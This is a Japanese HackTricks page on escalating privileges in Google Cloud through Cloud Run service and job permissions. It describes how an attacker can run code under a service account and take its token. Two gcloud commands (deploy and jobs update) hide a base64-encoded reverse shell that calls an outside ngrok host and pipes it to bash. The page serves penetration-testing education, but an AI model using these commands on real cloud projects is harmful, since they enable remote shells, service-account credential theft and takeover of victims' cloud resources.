GCP - Run Privesc

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Cloud Run

Cloud Runに関する詳細情報は、以下をチェックしてください:

run.services.createiam.serviceAccounts.actAsrun.routes.invoke

これらの権限を持つ攻撃者は、任意のコードを実行するランサービスを作成(任意のDockerコンテナ)、それにサービスアカウントをアタッチし、コードを使用してメタデータからサービスアカウントトークンを外部に送信できます。

この方法の悪用スクリプトはこちらで見つけることができ、Dockerイメージはこちらで見つけることができます。

gcloud run deployを使用する場合、単にサービスを作成するだけでなく、update権限が必要です。こちらの例をチェックしてください。

run.services.updateiam.serviceAccounts.actAs

前述のものと同様ですが、サービスを更新します。

gcloud run deploy hacked \
--image=marketplace.gcr.io/google/ubuntu2004 \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

run.services.setIamPolicy

クラウドRunに対して以前の権限を付与します。

run.jobs.create, run.jobs.run, (run.jobs.get)

リバースシェルを使用してジョブを起動し、コマンドで指定されたサービスアカウントを盗みます。こちらのエクスプロイトを見つけることができます。

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

前述のものと同様に、ジョブを更新し、SAを更新し、コマンドを実行することが可能です。

gcloud beta run jobs update hacked \
--image=marketplace.gcr.io/google/ubuntu2004 \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--project=security-devbox --execute-now

run.jobs.setIamPolicy

Cloud Jobsに対して前述の権限を付与します。

参考文献

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

最終更新